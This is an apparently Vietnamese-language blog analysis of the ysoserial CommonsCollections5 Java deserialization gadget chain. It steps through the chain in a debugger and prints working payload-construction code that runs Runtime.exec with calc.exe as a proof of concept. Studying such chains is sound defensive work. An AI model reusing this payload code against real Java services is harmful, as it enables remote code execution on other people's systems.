Sau khi đã làm quen với gadgetchain và cách debug trong InteliJ, mình tiếp tục phân tích `CommonsCollections5`, gadgetchain này hoạt động ở version 3.1 của thư viện [`Commons Collections`](https://commons.apache.org/proper/commons-collections/). `CommonsCollections5` nằm trong bộ gadgetchains CommonsCollections 1-7 nhằm khai thác thư viện Commons Collections, bộ gadgetchain này về cơ bản cũng đều lợi dụng class `InvokerTransformer` và `InstantiateTransformer` để invoke method. Bài phân tích mình tham khảo [blog này](https://sec.vnpt.vn/2020/02/the-art-of-deserialization-gadget-hunting-part-2/) và [blog này](https://clbuezzz.wordpress.com/2022/11/05/ysoserial-commonscollections-analysisphan-1-7/), các bạn có thể xem bài viết gốc để hiểu rõ về chain ## CommonsCollections5 ### Setups Vì chain này dùng để khai thác thư viện, nên trước hết ta cần include thư viện vào. Chọn `File -> Project Structure` ![](https://hackmd.io/_uploads/BJlejU0j_2.png) Nhấn vào dấu `+ -> Libary -> From Maven...` ![](https://hackmd.io/_uploads/SyDpLAiO3.png) Chọn `commons-collections:3.1` và nhấn `OK` ![](https://hackmd.io/_uploads/S1ufDRs_3.png) Tiếp theo để test exploit, mình dùng `ysoserial` để gen payload ![](https://hackmd.io/_uploads/By2vDCju2.png) Run code ![](https://hackmd.io/_uploads/SkdtD0iOh.png) ### Analysis Gadgetchain này bao gồm: ```java BadAttributeValueExpException.readObject() TiedMapEntry.toString() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() ``` Đoạn code gen payload của `ysoserial` ```java ... final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain ``` Để dễ dàng phân tích thì mình reconstruct lại đoạn code gen payload tại local (không quan trọng lắm) ```java Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", null }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; ChainedTransformer chain = new ChainedTransformer(transformers); Map lazyMap = (Map) LazyMap.decorate(new HashMap(), chain); TiedMapEntry tied = new TiedMapEntry(lazyMap, 1); BadAttributeValueExpException badattr = new BadAttributeValueExpException(new Object()); try { Class temp = Class.forName("javax.management.BadAttributeValueExpException"); Field arg = temp.getDeclaredField("val"); arg.setAccessible(true); arg.set(badattr, tied); } catch (ClassNotFoundException | NoSuchFieldException | IllegalAccessException e) { throw new RuntimeException(e); } ``` Để dễ theo dõi thì mình tách ra làm 2 phần để phân tích là trước khi gọi `ChainedTransformer.transform()` và khi gọi `ChainedTransformer.transform()` #### Before ChainedTransformer.transform() okie bắt đầu debug thoiii, đầu tiên mình `Ctrl+N` để nhảy vào `BadAttributeValueExpException` để xem method `readObject` ![](https://hackmd.io/_uploads/SytkcAo_2.png) Để đi đến mắt xích tiếp theo trong chain thì dòng `val = valObj.toString()` phải được gọi với `valObj = TiedMapEntry` Tuy nhiên để ý code genpayload lại dùng Reflection API để set `val = TiedMapEntry` thay vì set trực tiếp. ![](https://hackmd.io/_uploads/BJyuqCid3.png) Nguyên nhân là do đâu vậy ? Quay trở lại `BadAttributeValueExpException`, khi object của class này được tạo, constructor của nó sẽ set `this.val = val.toString()` nếu `val != null` ![](https://hackmd.io/_uploads/Hkn39Rodh.png) Do đó nếu ta set trực tiếp val thì `val.toString()` được gọi, gadgetchain sẽ được trigger ngay tại constructor của `BadAttributeValueExpException` mà không cần gọi đến `readObject`. Hay nói cách khác điều này có nghĩa là không cần deserialize thì payload vẫn được thực thi. Ta có thể kiểm chứng bằng cách set trực tiếp giá trị, và thực thi code mà không cần deserialize ```java Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", null }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; ChainedTransformer chain = new ChainedTransformer(transformers); Map lazyMap = (Map) LazyMap.decorate(new HashMap(), chain); TiedMapEntry tied = new TiedMapEntry(lazyMap, 1); BadAttributeValueExpException badattr = new BadAttributeValueExpException(tied); ``` Khi thực thi đoạn code trên thì calc tự động popup ![](https://hackmd.io/_uploads/HkunjAo_3.png) Do đó khi debug Java nên debug kỹ cẩn thận những cú lừa như thế này Khi biết được lý do tại sao cần dùng đến Reflection API, chúng ta tiếp tục đi đến mắt xích tiếp theo trong chain là `TiedMapEntry.toString()` ![](https://hackmd.io/_uploads/H1Zp3Asu3.png) `toString` gọi đến `TiedMapEntry.getValue()` ![](https://hackmd.io/_uploads/H1a1aCsOn.png) `getValue()` gọi `this.map.get(this.key)`, mà `this.map` chính là `Lazymap` mà ta khai báo ![](https://hackmd.io/_uploads/rylMAAjdh.png) Do đó `this.map.get(this.key)` tương đương với `LazyMap.get(1)` Tiếp tục `LazyMap.get` gọi đến `this.factory.transform()` ![](https://hackmd.io/_uploads/r1JeJJ3_h.png) Với `this.factory` chính là `ChainedTransformer` mà ta truyền vào ![](https://hackmd.io/_uploads/SkxC1J2u3.png) Vậy thì `this.factory.transform()` tương đương với `ChainedTransformer.transform()` > Note: trước khi đi qua phần 2, thì nếu trong quá trình debug mà calc có popup nhiều lần thì các bạn có thể tham khảo lời giải thích tại bài viết gốc của anh @Jang, cụ thể nguyên văn trong bài viết gốc như sau: > "Khi dừng tại breakpoint, muốn show được ra các variable thì debugger phải bằng cách nào đó lấy được các variable được khai báo trước breakpoint. Theo như suy đoán của mình, sau khi lấy được các variable dưới dạng object, và để show lại cho người dùng dưới dạng tường minh, nghĩa là dạng Human-readable. Dạng Human-readable là gì? Là String chứ còn gì nữa ¯\_(ツ)_/¯. >Ở đây để có thể lấy về Object dưới dạng String, debugger đã “ngầm” invoke method toString() của object variable muốn show ra cho người dùng, như trong trường hợp hiện tại thì debugger đã lén invoke method toString() của valObject và khiến cho các chain về sau được thực thi luôn -> calc pop up!" #### ChainedTransformer.transform() okiê, từ phần này xuống các mắt xích sau chính là phần đặc sắc và tinh túy nhất của gadgetchain này. Code tại `ChainedTransformer.transform()` như sau: ![](https://hackmd.io/_uploads/SJGY-J2_h.png) Tại đây nó sẽ thực hiện một vòng for đi qua mảng `this.iTransformers`, mảng này cũng chính là giá trị ta truyền vào được set thông qua constructor. ![](https://hackmd.io/_uploads/H14TWJ2_3.png) ![](https://hackmd.io/_uploads/HkjTZkhuh.png) Mỗi phần tử trong mảng này là một abstract của intergace `Transformer`, các giá trị của mảng `iTransformers`: ![](https://hackmd.io/_uploads/HJJXGy3Oh.png) Mỗi lần lặp thì code sẽ lấy ra 1 object trong `iTransformers` và gọi method `transform()` của object đó, sau đó kết quả return sẽ được dùng làm parameter cho method `tranform()` của vòng lặp sau. Có thể tóm tắt đơn giản như sau: ```java object0 = ConstantTransformer.transform(Runtime.class) // Runtime.class là object ta truyền vào object1 = InvokerTransformer.transform(object0) object2 = InvokerTransformer.transform(object1) object3 = InvokerTransformer.transform(object2) ``` ##### Lần lặp thứ 1, i=0 Tại lần lặp đầu tiên `ConstantTransformer.transform(Runtime.class)` sẽ được gọi Method transform của ConstantTransformer đơn giản chỉ return lại chính object input: ![](https://hackmd.io/_uploads/BJsNNJh_h.png) Tiếp tục kết quả trả về là `Runtime.class` được lấy làm parameter cho `transform` ở lần lặp thứ 2 ![](https://hackmd.io/_uploads/S1Sq4ynd2.png) ##### Lần lặp thứ 2, i=1 Tại lần lặp này `InvokerTransformer.transform()` được gọi. Đến đoạn này mọi người phải giữ cái đầu lạnh bởi vì nó khá quằng 🧊🤯 Code xử lý của `InvokerTransformer.transform()` ![](https://hackmd.io/_uploads/SyGKBk2O2.png) Ta chỉ cần tập trung code từ dòng 59-61, đầu tiên tại dòng 59 dùng Reflection API gọi đến class của input, tức là `input.getClass() = Runtime.class.getClass() = class Class()` ![](https://hackmd.io/_uploads/rk9WL13On.png) Vì mọi class trong Java đều là object của class `Class()` , mà `Runtime.class` là một class nên nó là object của `Class()`, nên khi gọi `Runtime.class.getClass()` ta sẽ được class `Class()`, dùng class để gọi class, use stones to destroy stones 🤷 ![](https://hackmd.io/_uploads/H1OtL1hO3.png) Tiếp tục tại dòng 60 sẽ dùng Reflection API getMethod để lấy method từ `Class()` mà method muốn lấy là `this.iMethodName` cũng chính là `getMethod` mà ta khai báo ![](https://hackmd.io/_uploads/HkWP_k3O2.png) Kết quả của nó: ![](https://hackmd.io/_uploads/BJ0OO12d3.png) Code tiếp tục gọi Reflection API `invoke` để thực thi method `getMethod`, với `input` là `Runtime.class` và `this.iArgs` cũng là giá trị ta khai báo ![](https://hackmd.io/_uploads/S1Rnuy2dn.png) Tóm lại dòng `return method.invoke(input, this.iArgs)` tương tự như đang thực hiện `Runtime.class.getMethod(“getRuntime”, …)` Sau khi thực thi xong trả về cho ta object sau để dùng cho lần lặp tiếp theo: ![](https://hackmd.io/_uploads/ByNjAknd3.png) Có thể tóm gọn những gì mình nói ở trên bằng hình sau: ![](https://hackmd.io/_uploads/r1fSRknO2.png) Khi nắm rõ được logic code tại lần lặp này rồi, thì mọi người sẽ dễ dàng debug các vòng lặp sau, bởi vì logic các vòng sau là không đổi, chỉ khác mỗi input và ouput ##### Lần lặp thứ 3, i=2 Tiếp tục lặp lần nữa, lúc này `cls = input.getClass() = Runtime.getRuntime().class = reflect.Method` ![](https://hackmd.io/_uploads/Byj7kenu3.png) Và `method = cls.getMethod(this.iMethodName, this.iParamTypes) = reflect.Method.invoke()` ![](https://hackmd.io/_uploads/rkt9kxh_h.png) Cuối cùng `method.invoke(input, this.iArgs) = Runtime.getRuntime().invoke()`, tức là mình gọi `invoke` để `invoke` thằng `Runtime.getRuntime()` =)))))))) Sau khi `invoke` xong ta đã chính thức có được object `Runtime` để dùng cho vòng lặp tiếp theo ![](https://hackmd.io/_uploads/rJFYgl2uh.png) ##### Lần lặp thứ 4, i=3 Đến đây thì tương tự như vòng lặp trước thôi, nhưng `method` sẽ là `exec` để thực hiện RCE ![](https://hackmd.io/_uploads/H1Zg-e3O2.png) `method.invoke(input, this.iArgs) = Runtime.getRuntime().exec('calc.exe')` Nhấn `F8` đi qua vòng lặp này ngay lập tức calc popup ### Bonus Nếu nhìn vào 3 dòng code làm nên gadgetchain này ![](https://hackmd.io/_uploads/BJlHux3dh.png) 3 dòng trên vừa có thể getMethod vừa invokde, vậy thì không phải chỉ cần ``` input = Runtime.getRuntime() iMethodName = 'exec' iArgs = 'cacl.exe' ``` thì ta có thể popup được calc rồi Code test ```java InvokerTransformer test = new InvokerTransformer("exec",new Class[] {String.class}, new Object[]{ "calc.exe"}); test.transform(Runtime.getRuntime()); ``` ![](https://hackmd.io/_uploads/Sy0-sx3Oh.png) Tuy nhiên khi thử đưa vào `ChainedTransformer` thì có thể popup cacl khi thực thi local, tuy nhiên khi đưa vào hàm serialize và deserialze thì không thể thực thi được mà có lỗi như sau: ![](https://hackmd.io/_uploads/B1FlqehOh.png) Nguyên nhân là do class `Runtime` không được implement Serializable interface. ![](https://hackmd.io/_uploads/H1x4qxn_h.png) Do đó để trong quá trình deser nếu muốn gọi đến được methods `exec` của `Runtime` ta phải dùng Reflection API Ví dụ ```java Runtime rt = (Runtime) Runtime.class.getMethod("getRuntime").invoke(null); rt.exec("calc.exe"); ``` Chính vì thế trong gadgetchain ta cần phải khai báo một mảng các object của interface `Transform` nhằm mục đích gọi đến method `exec` của `Runtime.getRuntime()` mà không cần phải khởi tạo object `Runtime` <hr> # Refer https://sec.vnpt.vn/2020/02/the-art-of-deserialization-gadget-hunting-part-2 https://clbuezzz.wordpress.com/2022/11/05/ysoserial-commonscollections-analysisphan-1-7/